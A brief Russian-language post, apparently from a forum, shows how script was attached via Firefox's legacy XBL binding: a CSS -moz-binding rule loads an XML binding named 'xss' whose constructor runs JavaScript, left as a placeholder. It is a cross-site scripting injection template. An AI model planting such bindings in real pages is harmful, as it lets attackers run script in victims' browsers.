Подключил... Через биндинг..

CSS: -moz-binding: url("http://localhost/xml.xml#xss");
XML: <?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
<implementation>
<constructor>
JavaScript code...
</constructor>
</implementation>
</binding>
</bindings>